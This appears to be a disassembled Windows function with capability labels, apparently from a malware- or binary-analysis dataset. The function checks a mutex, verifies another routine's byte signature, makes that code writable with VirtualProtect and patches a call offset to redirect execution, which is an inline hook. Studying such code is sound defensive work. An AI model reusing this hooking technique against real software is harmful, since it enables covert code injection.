Function at 0x10008b50
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp + 0xc]
mov dword [eax], 0
push 0
push 0x10038b98
call fcn.10006380
mov dword [0x10056eac], eax
push 0
push 0x10038bb4
call fcn.10006380
mov dword [0x10056eb0], eax
lea ecx, [ebp - 0x18]
call fcn.1000bd90
push 0x20
lea ecx, [ebp - 0x3c]
push ecx
push 0x10038be0
call fcn.10006240
push 0x1003851c
lea edx, [ebp - 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x64
mov byte [ebp - 0x33], 0x65
mov byte [ebp - 0x32], 0x63
mov byte [ebp - 0x31], 0x20
mov byte [ebp - 0x30], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x3c]
push eax
push str._S__x
lea ecx, [ebp - 0x18]
push ecx
call fcn.1000c290
add esp, 0x10
lea ecx, [ebp - 0x18]
call fcn.1000c330
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
cmp dword [eax], 0
je 0x10008d52
push 0xffffffffffffffff
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp + 0x10]
mov dword [0x10056ea0], eax
mov ecx, dword [ebp + 0x14]
mov dword [0x10056ea4], ecx
cmp dword [0x10056eac], 0
je 0x10008c3f
cmp dword [0x10056eb0], 0
jne 0x10008d14
push 1
push 0x10038b7c
call fcn.100063f0
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax]
mov dword [ebp - 0x54], ecx
mov edx, dword [ebp - 0x44]
mov eax, dword [edx + 4]
and eax, 0xffffff
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x44]
mov dl, byte [ecx + 7]
mov byte [ebp - 0x4a], dl
mov eax, dword [ebp - 0x44]
mov cl, byte [eax + 8]
mov byte [ebp - 0x55], cl
mov edx, dword [ebp - 0x44]
mov al, byte [edx + 9]
mov byte [ebp - 0x49], al
cmp dword [ebp - 0x54], 0x4244c8b
jne 0x10008d12
cmp dword [ebp - 0x50], 0x241c8b
jne 0x10008d12
movzx ecx, byte [ebp - 0x4a]
cmp ecx, 0x51
jne 0x10008d12
movzx edx, byte [ebp - 0x55]
cmp edx, 0x53
jne 0x10008d12
movzx eax, byte [ebp - 0x49]
cmp eax, 0xe8
jne 0x10008d12
lea ecx, [ebp - 0x40]
push ecx
push 0x40
push 4
mov edx, dword [ebp - 0x44]
add edx, 0xa
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10008d12
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0xa]
mov edx, dword [ebp - 0x44]
lea eax, [edx + ecx + 0xe]
mov dword [0x10056ea8], eax
mov ecx, 0x10008ae0
sub ecx, dword [ebp - 0x44]
sub ecx, 0xe
mov edx, dword [ebp - 0x44]
mov dword [edx + 0xa], ecx
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
push 4
mov edx, dword [ebp - 0x44]
add edx, 0xa
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x1c], 1
jmp 0x10008d34
push 0x10008a70
push 1
call dword [0x10056eac]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
mov edx, dword [ebp + 0xc]
xor eax, eax
cmp dword [edx], 0
setne al
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x10008d52
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x5c], edx
lea ecx, [ebp - 0x18]
call fcn.1000bed0
mov eax, dword [ebp - 0x5c]
mov esp, ebp
pop ebp
ret 0x10